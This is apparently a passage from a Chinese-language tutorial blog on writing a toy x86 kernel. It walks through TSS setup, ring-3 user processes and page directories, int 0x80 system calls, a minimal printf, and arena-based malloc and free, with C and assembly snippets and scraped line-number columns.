tss.io_base = tss_size;

/* gdt段基址为0x900,把tss放到第4个位置,也就是0x900+0x20的位置 */

/* 在gdt中添加dpl为0的TSS描述符 */
*((struct gdt_desc*)0xc0000920) = make_gdt_desc((uint32_t*)&tss, tss_size - 1, TSS_ATTR_LOW, TSS_ATTR_HIGH);

/* 在gdt中添加dpl为3的数据段和代码段描述符 */
*((struct gdt_desc*)0xc0000928) = make_gdt_desc((uint32_t*)0, 0xfffff, GDT_CODE_ATTR_LOW_DPL3, GDT_ATTR_HIGH);
*((struct gdt_desc*)0xc0000930) = make_gdt_desc((uint32_t*)0, 0xfffff, GDT_DATA_ATTR_LOW_DPL3, GDT_ATTR_HIGH);

/* gdt 16位的limit 32位的段基址 */
uint64_t gdt_operand = ((8 * 7 - 1) | ((uint64_t)(uint32_t)0xc0000900 << 16)); // 7个描述符大小
asm volatile ("lgdt %0" : : "m" (gdt_operand)); // 重新加载GDT
asm volatile ("ltr %w0" : : "r" (SELECTOR_TSS)); // 加载tss到TR寄存器
put_str("tss_init and ltr done\n");
}

修改初始化函数之后,测试一下,用info gdt命令查看gdt表,可以看到TSS正确加载到第四个描述符中。

image-20200526104424200

进程实现

实现进程的过程是在之前的线程基础上进行的,在创建线程的时候是将栈的返回地址指向了kernel_thread函数,通过该函数调用线程函数实现的,其执行流程如下,我们只需要把执行线程的函数换成创建进程的函数就可以了

image-20200526104424200

与线程不同的是,每个进程都单独有4GB虚拟地址空间,所以,需要单独为每个进程维护一个虚拟地址池,用来标记该进程中地址分配信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* 进程或线程的pcb,程序控制块 */
struct task_struct {
uint32_t* self_kstack; // 各内核线程都用自己的内核栈
enum task_status status;
char name[16];
uint8_t priority;
uint8_t ticks; // 每次在处理器上执行的时间嘀嗒数

/* 此任务自上cpu运行后至今占用了多少cpu嘀嗒数,
* 也就是此任务执行了多久*/
uint32_t elapsed_ticks;

/* general_tag的作用是用于线程在一般的队列中的结点 */
struct list_elem general_tag;

/* all_list_tag的作用是用于线程队列thread_all_list中的结点 */
struct list_elem all_list_tag;

uint32_t* pgdir; // 进程自己页表的虚拟地址

struct virtual_addr userprog_vaddr; // 用户进程的虚拟地址
uint32_t stack_magic; // 用这串数字做栈的边界标记,用于检测栈的溢出
};

用户进程创建页表的实现在memory.c中添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 在虚拟内存池中申请pg_cnt个虚拟页
static void *vaddr_get(enum pool_flags pf, uint32_t pg_cnt)
{
int vaddr_start = 0;
int bit_idx_start = -1;
uint32_t cnt = 0;

if(pf == PF_KERNEL)
{
//...内核内存池
}
else
{
// 用户内存池
task_struct *cur = running_thread();
bit_idx_start = bitmap_scan(&cur->userprog_vaddr.vaddr_bitmap, pg_cnt);
if(bit_idx_start == -1)
return NULL;

while (cnt < pg_cnt)
{
bitmap_set(&cur->userprog_vaddr.vaddr_bitmap, bit_idx_start + cnt++, 1);
}

vaddr_start = cur->userprog_vaddr.vaddr_start + bit_idx_start * PG_SIZE;
/* (0xc0000000 - PG_SIZE)做为用户3级栈已经在start_process被分配 */
ASSERT((uint32_t)vaddr_start < (0xc0000000 - PG_SIZE));
}

return (void *)vaddr_start;
}

/* 在用户空间中申请4k内存,并返回其虚拟地址 */
void *get_user_pages(uint32_t pg_cnt)
{
lock_acquire(&user_pool.lock);
void *vaddr = malloc_page(PF_USER, pg_cnt);
memset(vaddr, 0, pg_cnt * PG_SIZE);
lock_release(&user_pool.lock);
return vaddr;
}

我们还需让用户进程工作在3环下,这就需要我们从高特权级跳到低特权级。一般情况下,CPU不允许从高特权级转向低特权级,只有从中断返回或者从调用门返回的情况下才可以。这里我们采用从中断返回的方式进入3特权级,需要制造从中断返回的条件,构造好栈的内容之后执行iretd指令,下面是添加的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//构建用户进程初始上下文信息
void start_process(void *filename_)
{
void *function = filename_;
task_struct *cur = running_thread();
cur->self_kstack += sizeof(thread_stack);
intr_stack *proc_stack = (struct intr_stack *)cur->self_kstack;
proc_stack->edi = proc_stack->esi = proc_stack->ebp = proc_stack->esp_dummy = 0;
proc_stack->ebx = proc_stack->edx = proc_stack->ecx = proc_stack->eax = 0;
proc_stack->gs = 0; // 用户态用不上,直接初始为0
proc_stack->ds = proc_stack->es = proc_stack->fs = SELECTOR_U_DATA;
proc_stack->eip = function; // 待执行的用户程序地址
proc_stack->cs = SELECTOR_U_CODE;
proc_stack->eflags = (EFLAGS_IOPL_0 | EFLAGS_MBS | EFLAGS_IF_1);
proc_stack->esp = (void *)((uint32_t)get_a_page(PF_USER, USER_STACK3_VADDR) + PG_SIZE);
proc_stack->ss = SELECTOR_U_DATA;
asm volatile("movl %0, %%esp; jmp intr_exit"
:
: "g"(proc_stack)
: "memory");
}

激活页表,其参数可能是进程也可能是线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 激活页表 */
void page_dir_activate(task_struct *p_thread)
{
/* 若为内核线程,需要重新填充页表为0x100000 */
uint32_t pagedir_phy_addr = 0x100000; // 默认为内核的页目录物理地址,也就是内核线程所用的页目录表
if (p_thread->pgdir != NULL) // 用户态进程有页表,线程为NULL
{ // 用户态进程有自己的页目录表
pagedir_phy_addr = addr_v2p((uint32_t)p_thread->pgdir);
}

/* 更新页目录寄存器cr3,使新页表生效 */
asm volatile("movl %0, %%cr3"
:
: "r"(pagedir_phy_addr)
: "memory");
}

/* 激活线程或进程的页表,更新tss中的esp0为进程的特权级0的栈 */
void process_activate(task_struct *p_thread)
{
ASSERT(p_thread != NULL);
/* 击活该进程或线程的页表 */
page_dir_activate(p_thread);

/* 内核线程特权级本身就是0,处理器进入中断时并不会从tss中获取0特权级栈地址,故不需要更新esp0 */
if (p_thread->pgdir)
{
/* 更新该进程的esp0,用于此进程被中断时保留上下文 */
update_tss_esp(p_thread);
}
}

创建用户进程的页目录表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
uint32_t *create_page_dir(void)
{
/* 用户进程的页表不能让用户直接访问到,所以在内核空间来申请 */
uint32_t *page_dir_vaddr = get_kernel_pages(1);
if (page_dir_vaddr == NULL)
{
console_put_str("create_page_dir: get_kernel_page failed!");
return NULL;
}

/************************** 1 先复制页表 *************************************/
/* page_dir_vaddr + 0x300*4 是内核页目录的第768项 */
// 内核页目录项复制到用户进程使用的页目录项中
memcpy((uint32_t *)((uint32_t)page_dir_vaddr + 0x300 * 4), (uint32_t *)(0xfffff000 + 0x300 * 4), 1024);
/*****************************************************************************/

/************************** 2 更新页目录地址 **********************************/
uint32_t new_page_dir_phy_addr = addr_v2p((uint32_t)page_dir_vaddr);
/* 页目录地址是存入在页目录的最后一项,更新页目录地址为新页目录的物理地址 */
page_dir_vaddr[1023] = new_page_dir_phy_addr | PG_US_U | PG_RW_W | PG_P_1;
/*****************************************************************************/
return page_dir_vaddr;
}

/* 创建用户进程虚拟地址位图 */
void create_user_vaddr_bitmap(task_struct *user_prog)
{
user_prog->userprog_vaddr.vaddr_start = USER_VADDR_START;
uint32_t bitmap_pg_cnt = DIV_ROUND_UP((0xc0000000 - USER_VADDR_START) / PG_SIZE / 8, PG_SIZE);
user_prog->userprog_vaddr.vaddr_bitmap.bits = get_kernel_pages(bitmap_pg_cnt);
user_prog->userprog_vaddr.vaddr_bitmap.btmp_bytes_len = (0xc0000000 - USER_VADDR_START) / PG_SIZE / 8;
bitmap_init(&user_prog->userprog_vaddr.vaddr_bitmap);
}

创建用户进程filename并将其添加到就绪队列中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* 创建用户进程 */
void process_execute(void *filename, char *name)
{
/* pcb内核的数据结构,由内核来维护进程信息,因此要在内核内存池中申请 */
task_struct *thread = get_kernel_pages(1);
init_thread(thread, name, default_prio);
create_user_vaddr_bitmap(thread);
thread_create(thread, start_process, filename);
thread->pgdir = create_page_dir();

enum intr_status old_status = intr_disable();
ASSERT(!elem_find(&thread_ready_list, &thread->general_tag));
list_append(&thread_ready_list, &thread->general_tag);

ASSERT(!elem_find(&thread_all_list, &thread->all_list_tag));
list_append(&thread_all_list, &thread->all_list_tag);
intr_set_status(old_status);
}

要执行用户进程,我们需要通过调度器将其调度,不过这里因为用户进程是ring3,内核线程是ring0,故我们需要修改调度器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* 实现任务调度 */
void schedule() {

ASSERT(intr_get_status() == INTR_OFF);

struct task_struct* cur = running_thread();
if (cur->status == TASK_RUNNING) { // 若此线程只是cpu时间片到了,将其加入到就绪队列尾
ASSERT(!elem_find(&thread_ready_list, &cur->general_tag));
list_append(&thread_ready_list, &cur->general_tag);
cur->ticks = cur->priority; // 重新将当前线程的ticks再重置为其priority;
cur->status = TASK_READY;
} else {
/* 若此线程需要某事件发生后才能继续上cpu运行,
不需要将其加入队列,因为当前线程不在就绪队列中。*/
}

ASSERT(!list_empty(&thread_ready_list));
thread_tag = NULL; // thread_tag清空
/* 将thread_ready_list队列中的第一个就绪线程弹出,准备将其调度上cpu. */
thread_tag = list_pop(&thread_ready_list);
struct task_struct* next = elem2entry(struct task_struct, general_tag, thread_tag);
next->status = TASK_RUNNING;

/* 击活任务页表等 */
process_activate(next);

switch_to(cur, next);
}

最后在main中添加测试代码,用内核线程帮进程打印数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[...]
void k_thread_a(void*);
void k_thread_b(void*);
void u_prog_a(void);
void u_prog_b(void);
int test_var_a = 0, test_var_b = 0;

int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();

thread_start("k_thread_a", 31, k_thread_a, "argA ");
thread_start("k_thread_b", 31, k_thread_b, "argB ");
process_execute(u_prog_a, "user_prog_a");
process_execute(u_prog_b, "user_prog_b");

intr_enable();
while(1);
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
char* para = arg;
while(1) {
console_put_str(" v_a:0x");
console_put_int(test_var_a);
}
}

/* 在线程中运行的函数 */
void k_thread_b(void* arg) {
char* para = arg;
while(1) {
console_put_str(" v_b:0x");
console_put_int(test_var_b);
}
}

/* 测试用户进程 */
void u_prog_a(void) {
while(1) {
test_var_a++;
}
}

/* 测试用户进程 */
void u_prog_b(void) {
while(1) {
test_var_b++;
}
}

测试结果如下所示,在u_prog_a进程下断点观察cs为0x002b,和预期相符

image-20200526104424200

完善内核

系统调用

实现getpid

系统调用就是让用户进程调用了操作系统的功能,我们需要实现两部分,一部分属于用户空间,提供接口函数,另一部分作为内核具体实现。Linux中直接的系统调用是宏_syscall,不过现在已经废弃并被库函数syscall替代,为了内核实现更简单,我们参考_syscall来实现系统调用,其用法可以用man命令自行查询,实现思路大致如下:

  1. 调用中断门实现系统调用,效仿Linux用0x80作为系统调用入口
  2. 在IDT中安装0x80号中断对应的描述符,在该描述符中注册系统调用对应的中断处理例程
  3. 建立系统调用子功能表,利用eax寄存器中的子功能号在该表中索引相应的处理函数
  4. 用宏实现用户空间系统调用接口_syscall,最大只支持3个参数,eax为功能号,ebx保存第一个参数,ecx保存第二个参数,edx保存第三个参数

我们就按照这个步骤一步步完成代码,首先实现获取任务自己的PID

增加0x80号中断描述符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define IDT_DESC_CNT 0x81 // 总支持的中断数

extern uint32_t syscall_handler(void);

/*初始化中断描述符表*/
static void idt_desc_init(void) {
int i, lastindex = IDT_DESC_CNT - 1;
for (i = 0; i < IDT_DESC_CNT; i++) {
make_idt_desc(&idt[i], IDT_DESC_ATTR_DPL0, intr_entry_table[i]);
}
/* 单独处理系统调用,系统调用对应的中断门dpl为3,
* 中断处理程序为单独的syscall_handler */
make_idt_desc(&idt[lastindex], IDT_DESC_ATTR_DPL3, syscall_handler);
put_str(" idt_desc_init done\n");
}

在lib/user/目录下新添加syscall文件,实现调用接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* 无参数的系统调用 */
#define _syscall0(NUMBER) \
({ \
int retval; \
asm volatile( \
"int $0x80" \
: "=a"(retval) \
: "a"(NUMBER) \
: "memory"); \
retval; \
})

/* 一个参数的系统调用 */
#define _syscall1(NUMBER, ARG1) \
({ \
int retval; \
asm volatile( \
"int $0x80" \
: "=a"(retval) \
: "a"(NUMBER), "b"(ARG1) \
: "memory"); \
retval; \
})

/* 两个参数的系统调用 */
#define _syscall2(NUMBER, ARG1, ARG2) ({ \
int retval; \
asm volatile( \
"int $0x80" \
: "=a"(retval) \
: "a"(NUMBER), "b"(ARG1), "c"(ARG2) \
: "memory"); \
retval; \
})

/* 三个参数的系统调用 */
#define _syscall3(NUMBER, ARG1, ARG2, ARG3) ({ \
int retval; \
asm volatile( \
"int $0x80" \
: "=a"(retval) \
: "a"(NUMBER), "b"(ARG1), "c"(ARG2), "d"(ARG3) \
: "memory"); \
retval; \
})

增加0x80的处理例程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[bits 32]
extern syscall_table
section .text
global syscall_handler
syscall_handler:
; 保存上下文环境
push 0
push ds
push es
push fs
push gs
pushad

push 0x80 ; 保持统一格式

push edx ; 系统调用第三个参数
push ecx ; 系统调用第二个参数
push ebx ; 系统调用第一个参数

// 调用相应的处理程序
call [syscall_table + 4 * eax]
add esp, 12 ; 跨过上面的三个参数

; 将 call 调用后的返回值存入当前内核栈中 eax 的位置
mov [esp + 4 * 8], eax ; push 0x80 (4) + pushad (7*4) => (1+7)*4
jmp intr_exit

初始化系统调用和实现sys_getpid,由userprog目录下新创建的syscall-init实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define syscall_nr 32
typedef void *syscall;
syscall syscall_table[syscall_nr];

/* 返回当前任务的pid */
uint32_t sys_getpid(void)
{
return running_thread()->pid;
}

/* 初始化系统调用 */
void syscall_init(void)
{
put_str("syscall_init start\n");
syscall_table[SYS_GETPID] = sys_getpid;
put_str("syscall_init done\n");
}

线程初始化函数中分配pid值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct lock pid_lock;    // 分配pid锁

/* 分配pid */
static pid_t allocate_pid(void) {
static pid_t next_pid = 0;
lock_acquire(&pid_lock);
next_pid++;
lock_release(&pid_lock);
return next_pid;
}

/* 初始化线程基本信息 */
void init_thread(struct task_struct* pthread, char* name, int prio) {
memset(pthread, 0, sizeof(*pthread));
pthread->pid = allocate_pid();
strcpy(pthread->name, name);
[...]}

/* 初始化线程环境 */
void thread_init(void) {
put_str("thread_init start\n");
list_init(&thread_ready_list);
list_init(&thread_all_list);
lock_init(&pid_lock);
/* 将当前main函数创建为线程 */
make_main_thread();
put_str("thread_init done\n");
}

syscall文件中继续添加系统调用

1
2
3
4
/* 返回当前任务pid */
uint32_t getpid() {
return _syscall0(SYS_GETPID);
}

最后在main函数中测试一下效果,其中用户接口函数为getpid(),内核实现为sys-getpid(),分别由用户进程和内核线程调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int prog_a_pid = 0, prog_b_pid = 0;

int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "user_prog_a");
process_execute(u_prog_b, "user_prog_b");
intr_enable();
console_put_str(" main_pid:0x");
console_put_int(sys_getpid());
console_put_char('\n');
thread_start("k_thread_a", 31, k_thread_a, "argA ");
thread_start("k_thread_b", 31, k_thread_b, "argB ");
while(1);
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
char* para = arg;
console_put_str(" thread_a_pid:0x");
console_put_int(sys_getpid());
console_put_char('\n');
console_put_str(" prog_a_pid:0x");
console_put_int(prog_a_pid);
console_put_char('\n');
while(1);
}

/* 在线程中运行的函数 */
void k_thread_b(void* arg) {
char* para = arg;
console_put_str(" thread_b_pid:0x");
console_put_int(sys_getpid());
console_put_char('\n');
console_put_str(" prog_b_pid:0x");
console_put_int(prog_b_pid);
console_put_char('\n');
while(1);
}

/* 测试用户进程 */
void u_prog_a(void) {
prog_a_pid = getpid();
while(1);
}

/* 测试用户进程 */
void u_prog_b(void) {
prog_b_pid = getpid();
while(1);
}

测试结果如下

image-20200611085701751

实现write和printf

因为我们还没有实现文件系统,故不能模仿Linux中write的系统调用,不过我们可以略去第一个参数,实现一个简单版的write,首先根据前面获取pid的基础,我们先实现提供用户调用接口,添加功能号,初始化等工作

1
2
3
4
uint32_t write(char *str)
{
return _syscall1(SYS_WRITE, str);
}

添加处理程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uint32_t sys_write(char *str)
{
console_put_str(str); // 输出str
return strlen(str); // 返回str长度
}

/* 初始化系统调用 */
void syscall_init(void)
{
put_str("syscall_init start\n");
syscall_table[SYS_GETPID] = sys_getpid;
syscall_table[SYS_WRITE] = sys_write;
put_str("syscall_init done\n");
}

printf原理是由write和vsprint组合,首先需要知道可变参数的原理,一般平时使用的函数,参数的个数都是已知的。函数占用的是静态内存,也就是说再编译期就要确定为其分配多大的空间。而对于可变参数则不一样,比如

1
int printf(const char *format, ...);

不过调用printf的时候我们指定了format,根据format的内容其实也就确定了参数内容,比如一个%d就多一个参数。这样我们就可以通过遍历format中的字符,筛选出%号后的数据进行单独处理即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* 将参数ap按照格式format输出到字符串str,并返回替换后str长度 */
uint32_t vsprintf(char* str, const char* format, va_list ap) {
char* buf_ptr = str;
const char* index_ptr = format;
char index_char = *index_ptr;
int32_t arg_int;
while(index_char) { // 循环遍历,筛选%字符
if (index_char != '%') {
*(buf_ptr++) = index_char;
index_char = *(++index_ptr);
continue;
}
index_char = *(++index_ptr); // 得到%后面的字符
switch(index_char) { // 单独处理
case 's':
arg_str = va_arg(ap, char*);
strcpy(buf_ptr, arg_str);
buf_ptr += strlen(arg_str);
index_char = *(++index_ptr);
break;

case 'c':
*(buf_ptr++) = va_arg(ap, char);
index_char = *(++index_ptr);
break;

case 'd':
arg_int = va_arg(ap, int);
/* 若是负数, 将其转为正数后,再正数前面输出个负号'-'. */
if (arg_int < 0) {
arg_int = 0 - arg_int;
*buf_ptr++ = '-';
}
itoa(arg_int, &buf_ptr, 10);
index_char = *(++index_ptr);
break;

case 'x':
arg_int = va_arg(ap, int);
itoa(arg_int, &buf_ptr, 16);
index_char = *(++index_ptr); // 跳过格式字符并更新index_char
break;
}
}
return strlen(str);
}

最后就是printf的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
#define va_start(ap, v) ap = (va_list)&v  // 把ap指向第一个固定参数v
#define va_arg(ap, t) *((t*)(ap += 4)) // ap指向下一个参数并返回其值
#define va_end(ap) ap = NULL // 清除ap

/* 格式化输出字符串format */
uint32_t printf(const char* format, ...) {
va_list args;
va_start(args, format); // 使args指向format
char buf[1024] = {0}; // 用于存储拼接后的字符串
vsprintf(buf, format, args);
va_end(args);
return write(buf);
}

我们在main中重新测试一下效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();

process_execute(u_prog_a, "user_prog_a");
process_execute(u_prog_b, "user_prog_b");

intr_enable();
console_put_str(" main_pid:0x");
console_put_int(sys_getpid());
console_put_char('\n');
thread_start("k_thread_a", 31, k_thread_a, "argA ");
thread_start("k_thread_b", 31, k_thread_b, "argB ");
while(1);
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
char* para = arg;
console_put_str(" thread_a_pid:0x");
console_put_int(sys_getpid());
console_put_char('\n');
while(1);
}

/* 在线程中运行的函数 */
void k_thread_b(void* arg) {
char* para = arg;
console_put_str(" thread_b_pid:0x");
console_put_int(sys_getpid());
console_put_char('\n');
while(1);
}

/* 测试用户进程 */
void u_prog_a(void) {
printf(" prog_a_pid:0x%x\n", getpid());
while(1);
}

/* 测试用户进程 */
void u_prog_b(void) {
printf(" prog_b_pid:0x%x\n", getpid());
while(1);
}

测试结果如下

image-20200611085701751

完善堆内存

接下来我们需要重新实现malloc和free函数,虽然之前的内容中已经实现过内存分配的功能,但之前的内存管理模块中只是实现了内核空间的内存分配,而且每次分配的空间都是以页为单位,也就是只能分配页的整数倍的空间,我们需要优化使其能分配用户想要申请的大小。

malloc

首先引入arena的概念,arena是一大块的内存被划分的多个小的内存块的内存仓库。按照内存块的大小,可以划分成不同规格的arena。比如一种arena中全是32byte的内存块,它就只相应32byte以下内存空间的分配。这一整块arena的大小同样是页的整数倍,按照申请内存空间的大小,这个arena可能是1页或者多页。其结构由两部分组成,一是这块内存的元信息,用来描述这个arena中剩余的内存块,二是内存池区域,里面就是多个大小相同的内存块。

image-20200611085701751

当一块arena大小的内存分配完的时候,也就是该arena中的所有mem_block都分配出去了,就需要新增一个与之前arena规格相同的arena来满足内存的需求,那么这些相同规格arena之前同样需要一个结构来进行管理,这个结构用来记录arena的规格以及同规格arena中所有空闲内存块链表,也称为内存块描述符。

image-20200611085701751

当申请的内存大于1024byte时,arena中的元信息就为NULL,剩下的所有空间合为一个mem_block,也就是说只有一个为NULL的元信息和一块大内存。我们将arena划分为7种规格大小,分别为16byte, 32byte, 64byte, …. 1024byte。一个arena一般占用1页也就是4096byte,假设arena中的元信息在设计中它会占用12byte大小,对于规格为16byte的arena来说,它有(4096 - 12) / 16 = 255个内存块,有4byte的空间被浪费。

下面进行具体实现,修改memory.h文件

1
2
3
4
5
6
7
8
9
10
11
12
13
/* 内存块 */
struct mem_block {
struct list_elem free_elem;
};

/* 内存块描述符 */
struct mem_block_desc {
uint32_t block_size; // 内存块大小
uint32_t blocks_per_arena; // 本arena中可容纳此mem_block的数量.
struct list free_list; // 目前可用的mem_block链表
};

#define DESC_CNT 7 // 内存块描述符个数

初始化在.c文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* 内存仓库arena元信息 */
struct arena {
struct mem_block_desc* desc; // 此arena关联的mem_block_desc
/* large为ture时,cnt表示的是页框数。
* 否则cnt表示空闲mem_block数量 */
uint32_t cnt;
bool large;
};

struct mem_block_desc k_block_descs[DESC_CNT];// 内核内存块描述符数组
struct pool kernel_pool, user_pool; // 生成内核内存池和用户内存池
struct virtual_addr kernel_vaddr; // 此结构是用来给内核分配虚拟地址

/* 为malloc做准备 */
void block_desc_init(struct mem_block_desc* desc_array) {
uint16_t desc_idx, block_size = 16;

/* 初始化每个mem_block_desc描述符 */
for (desc_idx = 0; desc_idx < DESC_CNT; desc_idx++) {
desc_array[desc_idx].block_size = block_size;

/* 初始化arena中的内存块数量 */
desc_array[desc_idx].blocks_per_arena = (PG_SIZE - sizeof(struct arena)) / block_size;

list_init(&desc_array[desc_idx].free_list);

block_size *= 2; // 更新为下一个规格内存块
}
}

/* 内存管理部分初始化入口 */
void mem_init() {
put_str("mem_init start\n");
uint32_t mem_bytes_total = (*(uint32_t*)(0xb00));
mem_pool_init(mem_bytes_total); // 初始化内存池
/* 初始化mem_block_desc数组descs,为malloc做准备 */
block_desc_init(k_block_descs);
put_str("mem_init done\n");
}

下面实现sys_malloc,该函数就是在堆上分配指定大小的空间。这也是malloc的底层实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// 堆中申请size字节
void *sys_malloc(uint32_t size)
{
enum pool_flags pf;
struct pool *mem_pool;
uint32_t pool_size;
struct mem_block_desc *descs;
task_struct *cur_thread = running_thread();
// 判断是内核还是用户进程需要分配空间
if(cur_thread->pgdir == NULL)
{
pf = PF_KERNEL;
pool_size = kernel_pool.pool_size;
mem_pool = &kernel_pool;
descs = k_block_descs;
}
else
{
pf = PF_USER;
pool_size = user_pool.pool_size;
mem_pool = &user_pool;
descs = cur_thread->u_block_desc;
}

if(!(size > 0 && size < pool_size))
return NULL;

struct arena *a;
struct mem_block *b;
lock_acquire(&mem_pool->lock);

// 处理大内存分配的情况,直接分配。
// 分配的大小对4096向上取整
if(size > 1024)
{
uint32_t page_cnt = DIV_ROUND_UP(size + sizeof(struct arena), PG_SIZE);

a = malloc_page(pf, page_cnt); // 从堆中创建arena
if (a != NULL)
{
memset(a, 0, page_cnt * PG_SIZE);

a->desc = NULL;
a->cnt = page_cnt;
a->large = true;
lock_release(&mem_pool->lock);
return (void *)(a + 1);
}
else
{
lock_release(&mem_pool->lock);
return NULL;
}
}

// 小内存的分配情况
else
{
int desc_idx = 0;

// 找到使用哪种规格的内存描述符
for (; desc_idx < DESC_CNT; ++desc_idx)
{
if(size <= descs[desc_idx].block_size)
break;
}

// 该内存块描述符中的arena为空时,首先为其分配arena
// 然后会将该arena根据其描述符中的规格大小进行内存块的划分
// 划分的过程主要是通过arena2block这个函数对arena中的地址进行转换,使其指向下一个内存块所在的首地址,最后添加到链表中
if (list_empty(&descs[desc_idx].free_list))
{
a = malloc_page(pf, 1); // 无合适大小,新创建arena
if(a == NULL)
{
lock_release(&mem_pool->lock);
return NULL;
}
// 初始化
memset(a, 0, PG_SIZE);

a->desc = &descs[desc_idx];
a->cnt = descs[desc_idx].blocks_per_arena;
a->large = false;

enum intr_status old_status = intr_disable();

uint32_t block_idx = 0;
// arena拆分成内存块,并添加到内存块描述符的free_list中
for (; block_idx < descs[desc_idx].blocks_per_arena; ++block_idx)
{
b = arena2block(a, block_idx);
ASSERT(!elem_find(&a->desc->free_list, &b->free_elem));
list_append(&a->desc->free_list, &b->free_elem);
}
intr_set_status(old_status);
}

// 有空闲的内存块之后找到该内存块相对于arena的偏移地址,该地址便为分配到的空间的首地址
b = elem2entry(struct mem_block, free_elem, list_pop(&descs[desc_idx].free_list)); // 转换地址
memset(b, 0, descs[desc_idx].block_size);
a = block2arena(b); // 获取内存块所在的arena
a->cnt--; // 将此arena中的空闲内存块数减一
lock_release(&mem_pool->lock);
return (void *)b;
}
}

free

释放内存和分配内存过程相反,首先看一下申请的过程:

  1. 在虚拟地址池中分配虚拟地址
  2. 在物理内存池中分配物理地址
  3. 在页表中完成虚拟地址到物理地址的映射

与之相反的释放的过程如下:

  1. 在物理地址池中释放物理地址
  2. 在页表中去除虚拟地址的映射,原理是将pte中的P位置0
  3. 在虚拟地址池中释放虚拟地址

具体实现也在memory文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* 将物理地址pg_phy_addr回收到物理内存池 */
void pfree(uint32_t pg_phy_addr) {
struct pool* mem_pool;
uint32_t bit_idx = 0;
if (pg_phy_addr >= user_pool.phy_addr_start) { // 用户物理内存池
mem_pool = &user_pool;
bit_idx = (pg_phy_addr - user_pool.phy_addr_start) / PG_SIZE;
} else { // 内核物理内存池
mem_pool = &kernel_pool;
bit_idx = (pg_phy_addr - kernel_pool.phy_addr_start) / PG_SIZE;
}
bitmap_set(&mem_pool->pool_bitmap, bit_idx, 0); // 将位图中该位清0
}

/* 去掉页表中虚拟地址vaddr的映射,只去掉vaddr对应的pte */
static void page_table_pte_remove(uint32_t vaddr) {
uint32_t* pte = pte_ptr(vaddr);
*pte &= ~PG_P_1;// 将页表项pte的P位置0
asm volatile ("invlpg %0"::"m" (vaddr):"memory"); // 页表发生变化时需及时更新TLB
}

/* 在虚拟地址池中释放以_vaddr起始的连续pg_cnt个虚拟页地址 */
static void vaddr_remove(enum pool_flags pf, void* _vaddr, uint32_t pg_cnt) {
uint32_t bit_idx_start = 0, vaddr = (uint32_t)_vaddr, cnt = 0;

if (pf == PF_KERNEL) { // 内核虚拟内存池
bit_idx_start = (vaddr - kernel_vaddr.vaddr_start) / PG_SIZE;
while(cnt < pg_cnt) {
bitmap_set(&kernel_vaddr.vaddr_bitmap, bit_idx_start + cnt++, 0);
}
} else { // 用户虚拟内存池
struct task_struct* cur_thread = running_thread();
bit_idx_start = (vaddr - cur_thread->userprog_vaddr.vaddr_start) / PG_SIZE;
while(cnt < pg_cnt) {
bitmap_set(&cur_thread->userprog_vaddr.vaddr_bitmap, bit_idx_start + cnt++, 0);
}
}
}

释放虚拟地址中物理页框的步骤是,先调用pfree清空物理页地址,在调用page_table_pte_remove删除页表中此地址的pte,最后调用vaddr_remove清除虚拟地址位图中的相应位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
